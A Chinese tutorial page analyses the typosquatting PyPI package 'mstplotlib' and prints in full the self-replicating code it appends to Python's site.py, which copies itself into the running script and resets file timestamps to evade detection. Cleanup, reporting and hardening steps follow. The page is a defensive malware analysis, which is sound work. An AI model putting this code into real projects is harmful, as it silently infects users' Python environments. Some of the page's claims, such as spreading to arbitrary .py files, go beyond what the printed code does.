警惕恶意包 mstplotlib：它为何篡改 site.py 并植入隐蔽代码？-Python教程-PHP中文网

警惕恶意包 mstplotlib：它为何篡改 site.py 并植入隐蔽代码？

pip install mstplotlib（拼写错误）会意外安装一个无描述、无源码仓库的可疑 PyPI 包，该包在安装过程中向 Python 标准库核心文件 site.py 注入自复制恶意代码，具备持久化驻留与横向传播能力。

`pip install mstplotlib`（拼写错误）会意外安装一个无描述、无源码仓库的可疑 pypi 包，该包在安装过程中向 python 标准库核心文件 `site.py` 注入自复制恶意代码，具备持久化驻留与横向传播能力。

这是一个典型的安全事件——因拼写错误触发的供应链投毒攻击。mstplotlib 并非 matplotlib 的合法变体，而是发布在 PyPI 上的一个恶意影子包（typosquatting package），其唯一目的不是提供功能，而是执行静默植入。

? 代码行为深度解析

你发现的这段代码并非来自 matplotlib 或任何主流科学计算生态，而是 mstplotlib 安装时通过 setup.py 主动写入 site.py 文件末尾的恶意逻辑：

mark="#####MyPython####"#v1.1.2
code=''
with open(__file__,encoding="utf-8") as f:
    for line in f:
        if mark in line.strip():
            code=line+f.read()

def spread(file):
    import os;stat=os.stat(file)
    old_time=stat.st_atime,stat.st_mtime
    with open(file,'r',encoding='utf-8') as f:
        for line in f:
            if mark in line:return  # 已感染则跳过
    if os.path.getsize(file)>=2560:  # 防止无限膨胀
        with open(file,'a',encoding='utf-8') as f:
            f.write('\n'+code)  # 自我复制
        os.utime(file,old_time)  # 恢复原始时间戳，逃避检测

try:
    spread(__import__("site").__file__)   # 感染 site.py（Python 启动必加载）
    spread(__import__("sys").argv[0])       # 感染当前运行脚本（如 python.exe 调用的 .py 文件）
except: pass
del spread,code,mark,f,line

该逻辑具有以下危险特征：

✅ 持久化启动钩子：site.py 是 Python 解释器启动时自动导入的第一个模块，其中任意代码都会在每次 python 命令执行时运行；
✅ 自我复制传播：spread() 函数尝试将自身注入其他 .py 文件（包括用户脚本），形成“蠕虫式”扩散；
✅ 反检测设计：检查文件大小上限（2560 字节）、恢复 atime/mtime 时间戳、使用无意义标记 #####MyPython#### 规避字符串扫描；
❌ 无实际功能：mstplotlib 包本身不导出任何可用模块，import mstplotlib 会失败，其存在纯为载荷分发。

⚠️ 关键事实与风险确认

项目	说明
PyPI 页面	`pypi.org/project/mstplotlib` —— 无描述、无主页、无代码仓库、最新版本 `3.10.2`（刻意模仿 `matplotlib 3.10.x` 版本号）
安装机制	使用过时的 `setup.py install` 方式，绕过现代构建隔离，直接执行任意 Python 代码（即上述 `site.py` 注入）
影响范围	所有通过该命令安装的环境（包括虚拟环境），且一旦 `site.py` 被污染，所有后续 Python 进程均受控
是否来自 matplotlib？	否。`matplotlib` 官方包绝不会修改标准库文件，也从不依赖或关联 `mstplotlib`；二者命名高度相似，属典型 typosquatting

?️ 应急响应与清理步骤（立即执行）

卸载恶意包
```
pip uninstall mstplotlib -y
```
手动清理被污染的 site.py
找到你的 Python 环境中 site.py 路径（通常位于 Lib/site.py）：
```
import site
print(site.__file__)
```
用文本编辑器打开该文件，滚动至文件末尾，删除从 #####MyPython#### 开始的所有行（含标记行及后续 code= 块），保存。
检查并清理其他 .py 文件（可选但推荐）
运行以下命令查找可能被感染的脚本：
```
find . -name "*.py" -exec grep -l "#####MyPython####" {} \;
```
对每个结果文件，手动删除末尾的恶意代码段。
报告该恶意包
登录 PyPI → 进入 mstplotlib 页面 → 点击右下角 "Report" → 选择 "Malware / malicious behavior" 并提交详细证据（含 site.py 注入代码截图）。

✅ 长期防护建议

✨ 启用拼写检查工具：在终端配置 pip 别名或使用 pip-search（需谨慎）+ pip-check 辅助校验；
✨ 优先使用 pip install --dry-run 测试安装行为（pip ≥ 23.3）；
✨ 定期扫描标准库完整性：可编写简短脚本比对 site.py SHA256 与官方 CPython 发行版哈希；
✨ 禁用 setup.py install：全局设置 pip config set global.use-pep517 true，拒绝执行未声明构建后端的包；
✨ 最小权限原则：避免以管理员/root 身份运行 pip install，限制恶意代码系统级危害。

? 总结：mstplotlib 不是疏忽，而是精心设计的攻击载荷。它利用开发者对 matplotlib 的高频依赖与拼写习惯，完成一次“零点击”标准库劫持。真正的防御，始于对每一个 pip install 命令的审慎验证——毕竟，在 Python 生态中，最危险的包，往往就藏在你敲错的那一个字母里。